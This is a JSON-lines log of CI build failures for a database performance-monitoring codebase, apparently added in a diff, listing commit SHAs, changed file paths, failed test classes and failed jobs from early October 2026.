+{"date":"2026-10-01","head_sha":"a07f238b146685b675f6a60ccd7b4b6d5f53870b","event":"pull_request","changed_files":["Lite.Tests/AzureSqlDatabaseNotCollectedSurfaceTests.cs","Lite.Tests/EngineGapNoteTests.cs","Lite/Controls/FinOpsTab.xaml","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.ConfigChanges.cs","Lite/Controls/ServerTab.EngineGaps.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.SystemEvents.cs","Lite/Controls/ServerTab.xaml","Lite/Controls/ServerTab.xaml.cs","Lite/MainWindow.xaml.cs","Lite/Mcp/McpJobTools.cs","Lite/Services/LocalDataService.CollectorRuns.cs","Lite/Windows/DatabaseStateOverridesWindow.xaml","Lite/Windows/DatabaseStateOverridesWindow.xaml.cs"],"failed_classes":["Darling.Tests.ViewerScopedPaintGuardTests"],"failed_jobs":["build"]}
+{"date":"2026-10-01","head_sha":"85808894e250f64b3d33f621990a45c4a98cf367","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionNoteLatestRunTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Lite/Controls/ServerTab.xaml","Lite/Mcp/McpHealthTools.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Common/ServerHealthBands.cs"],"failed_classes":["PerformanceMonitor.Darling.Tests.RetiredBaselineAggregateLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-01","head_sha":"e59a01353b9d24a0a9920e40f4ed54098b7d9978","event":"pull_request","changed_files":["Darling/Darling.Tests/RuntimePreconditionMissTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpJobTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingRuntimePrecondition.cs","Lite.Tests/McpMissMessageParityPinTests.cs","Lite.Tests/McpStatusEnvelopeTests.cs","Lite/Mcp/McpJobTools.cs","Lite/Mcp/McpRuntimePrecondition.cs","Lite/Services/LocalDataService.RuntimePrecondition.cs","PerformanceMonitor.Collectors/CollectorRuntimePrecondition.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-10-01","head_sha":"6406f8dfa9ac8f5bc54612e137148fe3319d3987","event":"pull_request","changed_files":["Darling/Darling.Tests/AnalyzeServerPerCallAnalysisServiceTests.cs","Darling/Darling.Tests/AnomalyTileWindowEndTests.cs","Darling/Darling.Tests/AzureMasterAnalysisScopeLiveTests.cs","Darling/Darling.Tests/BlockingChainReadsFloorTests.cs","Darling/Darling.Tests/DeadlockGraphDatabasesTests.cs","Darling/Darling.Tests/EventTimeAnalysisReadsLiveTests.cs","Darling/Darling.Tests/FleetSweepWebFeedTests.cs","Darling/Darling.Tests/PgDeadlockRemaskTests.cs","Darling/Darling.Tests/PgTargetDeadlockDrillDownTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Blocking.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Waits.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetDrillDownCollector.Deadlocks.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.Database.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingPgDeadlockReader.cs","Lite.Tests/AnomalyTileWindowEndTests.cs","Lite.Tests/AzureMasterAnalysisScopeTests.cs","Lite.Tests/EventBaselineCoveredDaysTests.cs","Lite.Tests/EventTimeAnalysisReadsTests.cs","Lite.Tests/LocalClockBucketKeyTests.cs","Lite/Analysis/AnalysisService.cs","Lite/Analysis/AnomalyDetector.cs","Lite/Analysis/BaselineProvider.cs","Lite/Analysis/DrillDownCollector.Blocking.cs","Lite/Analysis/DuckDbFactCollector.Waits.cs","Lite/Analysis/SeparatelyMonitoredScope.cs","Lite/MainWindow.xaml.cs","PerformanceMonitor.Alerting/AlertContextBuilders.cs","PerformanceMonitor.Analysis/AnalysisContext.cs","PerformanceMonitor.Common/DeadlockGraphDatabases.cs"],"failed_classes":["Darling.Tests.DarlingEventBaselineCoveredDaysTests","Darling.Tests.PostgresEngineGateBehaviorTests","Darling.Tests.TsqlConventionGuardTests","PerformanceMonitorLite.Tests.AzureMasterAnalysisScopeTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (2)","Darling PG tests (0)","Lite tests (0)","build"]}
+{"date":"2026-10-01","head_sha":"0c983ef54d6bc6d796353b3ddfe1c120e4c1af68","event":"pull_request","changed_files":["Darling/Darling.Tests/DailyStitchLiveTests.cs","Darling/Darling.Tests/DailySummaryAndComposeStitchedLiveTests.cs","Darling/Darling.Tests/DailySummaryNotCarriedTests.cs","Darling/Darling.Tests/DailySummaryReadShapeTests.cs","Darling/Darling.Tests/DarlingMcpBlockingToolsTests.cs","Darling/Darling.Tests/EventTimeWindowReadsLiveTests.cs","Darling/Darling.Tests/EventTimeWindowSqlShapeTests.cs","Darling/Darling.Tests/ViewerBlockingDepthTests.cs","Darling/Darling.Tests/ViewerCalendarRetentionPortTests.cs","Darling/Darling.Tests/ViewerDailyHealthTests.cs","Darling/Darling.Tests/ViewerDeadlockSeverityStatsTests.cs","Darling/Darling.Tests/ViewerFileIoBlockingTests.cs","Darling/Darling.Tests/ViewerWave2Tests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertReadAdapter.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingBlockingTrendReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingHealthReader.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummarySql.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingSlicers.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.DailySummary.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Deadlock.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs","Lite.Tests/EventTimeWindowReadsTests.cs","Lite.Tests/PerformanceCalendarDataTests.cs","Lite/Services/LiteAlertReadAdapter.cs","Lite/Services/LocalDataService.Blocking.cs","Lite/Services/LocalDataService.BlockingStats.cs","Lite/Services/LocalDataService.DailySummary.cs"],"failed_classes":["Darling.Tests.PgLogBurstAndRotationLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-01","head_sha":"2c797f05fefa1a5d83d86339bd0e0119c9b1af94","event":"pull_request","changed_files":["Lite.Tests/StoredEventCopiesReaderTests.cs","Lite.Tests/StoredEventCopiesSweepTests.cs","Lite.Tests/StoredEventCopiesTests.cs","Lite.Tests/WatermarkReadFailureLogTests.cs","Lite/Analysis/AnomalyDetector.cs","Lite/Analysis/BaselineProvider.cs","Lite/Analysis/DrillDownCollector.Blocking.cs","Lite/Analysis/DuckDbFactCollector.Waits.cs","Lite/Database/DuckDbInitializer.cs","Lite/Database/StoredEventCopies.cs","Lite/Services/LocalDataService.Blocking.cs","Lite/Services/LocalDataService.BlockingStats.cs","Lite/Services/LocalDataService.DailySummary.cs","Lite/Services/LocalDataService.LongQueries.cs","Lite/Services/LocalDataService.Overview.cs","Lite/Services/LocalDataService.SystemEvents.cs","Lite/Services/RemoteCollectorService.cs","PerformanceMonitor.Collectors/BlockedProcessReportCollector.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/LongQueryCompletionsCollector.cs","PerformanceMonitor.Collectors/SystemHealthEventsCollector.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests","Darling.Tests.ConsumedTimestampFrameDisciplineTests","Darling.Tests.DarlingEventBaselineCoveredDaysTests"],"failed_jobs":["build","Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-10-01","head_sha":"2a0d4bd49c0519c2aa610bed15aa3fd367a2c73f","event":"pull_request","changed_files":["Darling/Darling.Tests/ConsumedTimestampFrameDisciplineTests.cs","Darling/Darling.Tests/DarlingEventBaselineCoveredDaysTests.cs","Lite.Tests/EventBaselineCoveredDaysTests.cs","Lite.Tests/StoredEventCopiesReaderTests.cs","Lite.Tests/StoredEventCopiesSweepTests.cs","Lite.Tests/StoredEventCopiesTests.cs","Lite.Tests/WatermarkReadFailureLogTests.cs","Lite/Analysis/AnomalyDetector.cs","Lite/Analysis/BaselineProvider.cs","Lite/Analysis/DrillDownCollector.Blocking.cs","Lite/Analysis/DuckDbFactCollector.Waits.cs","Lite/Database/DuckDbInitializer.cs","Lite/Database/StoredEventCopies.cs","Lite/Services/LocalDataService.Blocking.cs","Lite/Services/LocalDataService.BlockingStats.cs","Lite/Services/LocalDataService.DailySummary.cs","Lite/Services/LocalDataService.LongQueries.cs","Lite/Services/LocalDataService.Overview.cs","Lite/Services/LocalDataService.SystemEvents.cs","Lite/Services/RemoteCollectorService.cs","PerformanceMonitor.Collectors/BlockedProcessReportCollector.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/LongQueryCompletionsCollector.cs","PerformanceMonitor.Collectors/SystemHealthEventsCollector.cs"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-10-01","head_sha":"e20c88136040d5c7d1ee48bff2f88a4bf9cfd454","event":"pull_request","changed_files":["CHANGELOG.md","docs/changelog/3.9.md","tools/changelog/archive-census.txt"],"failed_classes":["Darling.Tests.MigrationUpgradeLadderLiveTests"],"failed_jobs":["build"]}
+{"date":"2026-10-01","head_sha":"8b5919e8fd383a048709c86991c9630da78e3e83","event":"pull_request","changed_files":["Darling/Darling.Tests/AzureYoungBaselineWaitBarTests.cs","Darling/Darling.Tests/WaitProfileLedByTests.cs","Lite.Tests/AnomalyDetectorTests.cs"],"failed_classes":["Darling.Tests.AzureYoungBaselineWaitBarTests","Darling.Tests.WaitProfileLedByTests","PerformanceMonitorLite.Tests.AnomalyDetectorTests"],"failed_jobs":["Lite tests (2)","build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-10-01","head_sha":"7df4f3da8b4c2efea4ecafc87fbf1b3896d1a08d","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertHistoryDisplayNameLiveTests.cs","Darling/Darling.Tests/DarlingMcpAlertToolsTests.cs","Darling/Darling.Tests/HoldEarnedByDeliveryTests.cs","Darling/Darling.Tests/ViewerW2aTests.cs","Darling/Darling.Tests/ViewerWave3Tests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingAlertReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AlertHistory.cs","Lite.Tests/AlertHistoryDisplayNameTests.cs","Lite/Controls/AlertsHistoryTab.xaml.cs","Lite/MainWindow.xaml.cs","Lite/Services/LocalDataService.AlertHistory.cs"],"failed_classes":["Darling.Tests.AlertNotebookResolutionReadLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-01","head_sha":"e19ece986ba502757d7370f764a0c365c7f178a8","event":"pull_request","changed_files":["Darling/Darling.Tests/DailySummaryAzureMasterScopeLiveTests.cs","Darling/Darling.Tests/DailySummaryAzureMasterScopeTests.cs","Darling/Darling.Tests/DarlingMcpFleetSweepToolsTests.cs","Darling/Darling.Tests/FleetOverviewAzureMasterScopeLiveTests.cs","Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs","Darling/Darling.Tests/SeparatelyMonitoredListNoteTests.cs","Darling/Darling.Tests/ViewerDailySummaryAzureMasterScopeLiveTests.cs","Darling/Darling.Tests/ViewerFleetAzureMasterScopeLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/FleetSweepEngine.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingFleetReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingHealthReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpBlockingTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFleetTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHealthTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpObjectStatsTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Storage/DailySummaryAzureMasterScope.cs","Darling/PerformanceMonitor.Darling.Storage/DailySummaryRangeCache.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Locking.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.AzureMasterScope.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.DailySummary.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Fleet.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Overview.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","PerformanceMonitor.Alerting/AzureMasterScope.cs"],"failed_classes":["Darling.Tests.ServerPageTabsTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-10-02","head_sha":"af31e98db0c6c7af4953d36a403403db0d4502e5","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeDataFloorLiveTests.cs","Darling/Darling.Tests/ComposeRollupDataFloorLiveTests.cs","Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/DataWindowFloorTests.cs","Darling/Darling.Tests/LiveStoreSessionTimeZone.cs","Darling/Darling.Tests/LiveStoreSessionTimeZoneTests.cs","Darling/Darling.Tests/QueryStoreTopWindowTests.cs","Darling/Darling.Tests/RawWindowFloorQuietStartTests.cs","Darling/Darling.Tests/ViewerDataStartBannerTests.cs","Darling/Darling.Tests/web-compose-notice-harness.mjs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeStoreAvailability.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs","Darling/PerformanceMonitor.Darling.Storage/DataWindowFloor.cs","Darling/PerformanceMonitor.Darling.Storage/RawWindowFloor.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QuerySnapshots.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ActiveQueries.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml"],"failed_classes":["Darling.Tests.StoreSessionTimeZoneLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-02","head_sha":"0065d49b740238b1a24d256f65a307515deaeb48","event":"push","changed_files":[".github/FUNDING.yml"],"failed_classes":["Darling.Tests.PlanSync4512CancellationTests"],"failed_jobs":["Darling whole-tree guards"]}
+{"date":"2026-10-02","head_sha":"6de10f4dcb1f6d48b0c6ca04986b785e2d295c00","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeDataFloorLiveTests.cs","Darling/Darling.Tests/ComposeRollupDataFloorLiveTests.cs","Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/DataWindowFloorTests.cs","Darling/Darling.Tests/LiveStoreSessionTimeZone.cs","Darling/Darling.Tests/LiveStoreSessionTimeZoneTests.cs","Darling/Darling.Tests/QueryStoreTopWindowTests.cs","Darling/Darling.Tests/RawWindowFloorQuietStartTests.cs","Darling/Darling.Tests/ViewerDataStartBannerTests.cs","Darling/Darling.Tests/web-compose-notice-harness.mjs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeStoreAvailability.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs","Darling/PerformanceMonitor.Darling.Storage/DataWindowFloor.cs","Darling/PerformanceMonitor.Darling.Storage/RawWindowFloor.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QuerySnapshots.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ActiveQueries.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Blocking.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Lite.Tests/DataStartBannerTests.cs","Lite.Tests/QueryWindowTruncationTests.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.Slicers.cs","Lite/Controls/ServerTab.xaml","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs"],"failed_classes":["Darling.Tests.StoreSessionTimeZoneLiveTests","PerformanceMonitorLite.Tests.DisplayZoneTextFrameTests"],"failed_jobs":["Lite tests (3)","Darling PG tests (1)"]}
+{"date":"2026-10-02","head_sha":"a606e43521c458e3f9ce77109ae2877c7139801c","event":"pull_request","changed_files":["Darling/Darling.Tests/AlwaysOnXeSessionsTests.cs","Darling/Darling.Tests/CaggGroupIndexDropLiveTests.cs","Darling/Darling.Tests/DarlingCliUnusableStoreConnectionTests.cs","Darling/Darling.Tests/DropXeSessionsPerInstallTests.cs","Darling/Darling.Tests/DropXeSessionsVerbTests.cs","Darling/Darling.Tests/EmptyDatabaseListNoteLiveTests.cs","Darling/Darling.Tests/EmptyDatabaseListNoteTests.cs","Darling/Darling.Tests/InstallIdRungTests.cs","Darling/Darling.Tests/LegacyLongQueryRecordLiveTests.cs","Darling/Darling.Tests/LongQueryBannerSessionScopeTests.cs","Darling/Darling.Tests/LongQueryTraceInstanceGuardTests.cs","Darling/Darling.Tests/LongQueryTraceLifecycleTests.cs","Darling/Darling.Tests/LongQueryTraceReadOnlyIntentTests.cs","Darling/Darling.Tests/LongQueryTraceRestartTests.cs","Darling/Darling.Tests/MuteRuleServerIdRungTests.cs","Darling/Darling.Tests/PostgresEngineGateBehaviorTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/StoreInstallIdLiveTests.cs","Darling/Darling.Tests/StoreInstallIdRefusedClusterLiveTests.cs","Darling/Darling.Tests/StoreInstallIdSourcePinTests.cs","Darling/Darling.Tests/XeSessionMissingWarningTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlwaysOnXeSessions.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingLegacyLongQuerySession.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/DarlingXeSessionCleanup.cs","Darling/PerformanceMonitor.Darling.Service/DarlingXeSessions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLongQueryTools.cs","Darling/PerformanceMonitor.Darling.Service/XeSessionMissingWarnings.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreInstallId.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Darling/README.md","Lite.Tests/AlwaysOnXeSessionsLiteTests.cs","Lite.Tests/DeadlockAndBlockedProcessEnsureLogLevelLiteTests.cs","Lite.Tests/EmptyDatabaseListNoteLiteTests.cs","Lite.Tests/InstallIdStoreTests.cs","Lite.Tests/InstallIdTests.cs","Lite.Tests/LongQueryBannerSessionScopeTests.cs","Lite.Tests/LongQueryCompletionsCollectorDefinitionTests.cs","Lite.Tests/LongQueryTraceLifecycleLiteTests.cs","Lite.Tests/LongQueryTraceReadOnlyIntentLiteTests.cs","Lite.Tests/SettingsImportTests.cs","Lite.Tests/SwallowedItemFailureTests.cs","Lite/Controls/ServerTab.xaml","Lite/MainWindow.xaml.cs","Lite/Mcp/McpLongQueryTools.cs","Lite/Services/InstallIdStore.cs","Lite/Services/RemoteCollectorService.AlwaysOnXeSessions.cs","Lite/Services/RemoteCollectorService.BlockedProcessReport.cs","Lite/Services/RemoteCollectorService.Deadlocks.cs","Lite/Services/RemoteCollectorService.DefinitionRunner.cs","Lite/Services/RemoteCollectorService.LegacyLongQuerySession.cs","Lite/Services/RemoteCollectorService.LongQueryCompletions.cs","Lite/Services/RemoteCollectorService.cs","Lite/Services/ScheduleManager.cs","Lite/Services/SettingsImport.cs","PerformanceMonitor.Collectors/AlwaysOnXeSessions.cs","PerformanceMonitor.Collectors/BlockedProcessReportCollector.cs","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/CollectorScheduleDefaults.cs","PerformanceMonitor.Collectors/DeadlocksCollector.cs","PerformanceMonitor.Collectors/EmptyDatabaseListNote.cs","PerformanceMonitor.Collectors/ICollectorDefinition.cs","PerformanceMonitor.Collectors/InstallId.cs","PerformanceMonitor.Collectors/LegacyLongQuerySession.cs","PerformanceMonitor.Collectors/LongQueryCompletionsCollector.cs","PerformanceMonitor.Collectors/LongQueryTraceDatabases.cs","PerformanceMonitor.Collectors/LongQueryTraceStep.cs","PerformanceMonitor.Collectors/ServerEpoch.cs"],"failed_classes":["Darling.Tests.CollectorStateContractTests","Darling.Tests.DarlingCollectorToggleVerbTests","Lite.Tests.XeTimeFilterSweepTests","PerformanceMonitorLite.Tests.EntraDeviceCodeTests","PerformanceMonitorLite.Tests.StoredEventCopiesTests"],"failed_jobs":["Lite tests (0)","Lite tests (1)","Darling PG tests (2)","build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-10-02","head_sha":"ce33caec1b33983f52a1a181d9da4d1d42375a8d","event":"pull_request","changed_files":["Darling/Darling.Tests/FleetGateSignalTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/SelfAlertDeliveryStampTests.cs","Darling/Darling.Tests/StoreMaintenanceTickLaunchTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs"],"failed_classes":["Darling.Tests.PgLogEventsCsvlogLiveTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-10-02","head_sha":"a9b554fa704f0855fde9bb44da5ad01fadcb8089","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreBackgroundIndexesLiveTests.cs","Darling/Darling.Tests/QueryStoreBackgroundIndexesTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideFirstExecFloorTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreBackgroundIndexes.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWideBrinIndex.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-10-03","head_sha":"b9411680b270adff87459ed8b6dcc728d1a25b56","event":"pull_request","changed_files":["Darling/Darling.Tests/BoundedCompressionDdlTests.cs","Darling/Darling.Tests/FleetGateSignalTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/SelfAlertDeliveryStampTests.cs","Darling/Darling.Tests/StoreMaintenanceTickLaunchTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs","Darling/Darling.Tests/TuningHourlyCreateLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/PgTableTuning.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-03","head_sha":"de3cabd7eb86bb3e50d839d76a7f093b2c2bb8d4","event":"pull_request","changed_files":["Darling/Darling.Tests/BoundedCompressionDdlTests.cs","Darling/Darling.Tests/BoundedDdlBusyStreakTests.cs","Darling/Darling.Tests/BoundedDdlSingleCopyTests.cs","Darling/Darling.Tests/FleetGateSignalTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/SelfAlertDeliveryStampTests.cs","Darling/Darling.Tests/StoreMaintenanceTickLaunchTests.cs","Darling/Darling.Tests/StoreObjectConvergenceTests.cs","Darling/Darling.Tests/StoreObjectHourlyStepSelectionTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs","Darling/Darling.Tests/TimescaleSupportTests.cs","Darling/Darling.Tests/TuningHourlyCreateLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/BoundedDdlBusyStreaks.cs","Darling/PerformanceMonitor.Darling.Storage/PgTableTuning.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.CollectionLogSegmentByLiveTests","Darling.Tests.CompressionEnableGuardTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-10-03","head_sha":"bc4bdca4a7f784517222385e33adce0381d17daa","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionHealthKeyedLookupParityTests.cs","Darling/Darling.Tests/CollectionHealthOracleSql.cs","Darling/Darling.Tests/CollectorHealthClassifierTests.cs","Darling/Darling.Tests/DarlingEmptyEnumerationNoteTests.cs","Darling/Darling.Tests/ProductiveZeroBandingTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs"],"failed_classes":["Darling.Tests.LiveCleanupConversionRatchetTests","Darling.Tests.LivePlanShapeIsolationCensusTests","Darling.Tests.ViewerCollectionHealthSqlTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)","build"]}
+{"date":"2026-10-03","head_sha":"fb8e0ad86888b2f694ff6b9d61d451280d59b02a","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeQueryStoreRawDedupeFilterLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.QueryStoreSliceTieBreakSourceTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-10-03","head_sha":"15173c8b89cf75b38c1353c44c89f950d12c1b43","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeQueryStoreRawDedupeFilterLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs"],"failed_classes":["Darling.Tests.QueryStoreSliceTieBreakSourceTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-10-03","head_sha":"2f652475b8a0f89de896dcce424e2f5fe4a83911","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeQueryStoreRawDedupeFilterLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs"],"failed_classes":["Darling.Tests.QueryStoreSliceTieBreakSourceTests"],"failed_jobs":["build","Darling PG tests (0)"]}
